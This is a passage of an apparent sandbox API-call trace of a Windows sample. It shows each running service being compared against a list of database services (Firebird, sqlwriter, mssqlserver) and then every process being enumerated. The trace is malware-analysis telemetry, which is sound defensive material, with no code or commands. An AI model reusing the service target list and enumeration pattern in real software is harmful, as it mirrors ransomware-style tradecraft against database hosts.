lpString2="NlaSvc") returned 1 [0177.819] lstrlenW (lpString="nsi") returned 3 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0177.819] lstrlenW (lpString="PcaSvc") returned 6 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0177.819] lstrlenW (lpString="PlugPlay") returned 8 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0177.819] lstrlenW (lpString="Power") returned 5 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0177.819] lstrlenW (lpString="ProfSvc") returned 7 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0177.819] lstrlenW (lpString="RpcEptMapper") returned 12 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0177.819] lstrlenW (lpString="RpcSs") returned 5 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0177.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0177.819] lstrlenW (lpString="SamSs") returned 5 [0177.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0177.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0177.819] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.819] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.820] lstrlenW (lpString="Schedule") returned 8 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.820] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.820] lstrlenW (lpString="SENS") returned 4 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.820] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.820] lstrlenW (lpString="sppsvc") returned 6 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0177.820] lstrlenW (lpString="SSDPSRV") returned 7 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0177.820] lstrlenW (lpString="StateRepository") returned 15 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0177.820] lstrlenW (lpString="SysMain") returned 7 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.820] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.820] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.820] lstrlenW (lpString="SystemEventsBroker") returned 18 [0177.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.821] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0177.821] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0177.821] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0177.821] lstrlenW (lpString="Themes") returned 6 [0177.821] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.821] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.821] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.821] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.821] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x300 [0177.827] Process32FirstW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.827] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.828] lstrlenW (lpString="System") returned 6 [0177.828] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.828] lstrlenW (lpString="smss.exe") returned 8 [0177.828] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.829] lstrlenW (lpString="csrss.exe") returned 9 [0177.829] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.829] lstrlenW (lpString="wininit.exe") returned 11 [0177.829] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.830] lstrlenW (lpString="csrss.exe") returned 9 [0177.830] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.830] lstrlenW (lpString="winlogon.exe") returned 12 [0177.830] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.831] lstrlenW (lpString="services.exe") returned 12 [0177.831] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.831] lstrlenW (lpString="lsass.exe") returned 9 [0177.831] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.832] lstrlenW (lpString="svchost.exe") returned 11 [0177.832] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.832] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.832] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.833] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.833] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.833] lstrlenW (lpString="svchost.exe") returned 11 [0177.833] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.834] lstrlenW (lpString="dwm.exe") returned 7 [0177.834] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.834] lstrlenW (lpString="svchost.exe") returned 11 [0177.834] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.835] lstrlenW (lpString="svchost.exe") returned 11 [0177.835] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.835] lstrlenW (lpString="svchost.exe") returned 11 [0177.835] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.835] lstrlenW (lpString="svchost.exe") returned 11 [0177.836] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.836] lstrlenW (lpString="svchost.exe") returned 11 [0177.836] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.836] lstrlenW (lpString="svchost.exe") returned 11 [0177.836] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.837] lstrlenW (lpString="svchost.exe") returned 11 [0177.837] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.837] lstrlenW (lpString="svchost.exe") returned 11 [0177.837] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.838] lstrlenW (lpString="svchost.exe") returned 11 [0177.838] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.838] lstrlenW (lpString="svchost.exe") returned 11 [0177.838] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.838] lstrlenW (lpString="svchost.exe") returned 11 [0177.838] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.839] lstrlenW (lpString="audiodg.exe") returned 11 [0177.839] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0177.839] lstrlenW (lpString="sihost.exe") returned 10 [0177.839] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.840] lstrlenW (lpString="svchost.exe") returned 11 [0177.840] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.840] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.840] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.841] lstrlenW (lpString="explorer.exe") returned 12 [0177.841] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0177.841] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0177.841] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0177.841] lstrlenW (lpString="Memory Compression") returned 18 [0177.842] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0177.842] lstrlenW (lpString="SearchUI.exe") returned 12 [0177.842] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0177.842] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0177.842] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0177.843] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0177.843] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0177.843] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0177.843] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0177.844] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0177.844] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0177.844] lstrlenW (lpString="migration dying locations.exe") returned 29 [0177.844] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0177.844] lstrlenW (lpString="college-advance.exe") returned 19 [0177.845] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0177.845] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0177.845] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0177.845] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0177.845] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0177.846] lstrlenW (lpString="metallic.exe") returned 12 [0177.846] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0177.846] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0177.846] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0177.847] lstrlenW (lpString="brown parade bases.exe") returned 22 [0177.847] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0177.847] lstrlenW (lpString="specified wales.exe") returned 19 [0177.847] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0177.847] lstrlenW (lpString="inspiration.exe") returned 15 [0177.847] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0177.848] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0177.848] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0177.848] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0177.848] Process32NextW (in: hSnapshot=0x300, lppe=0x24cfd2c | 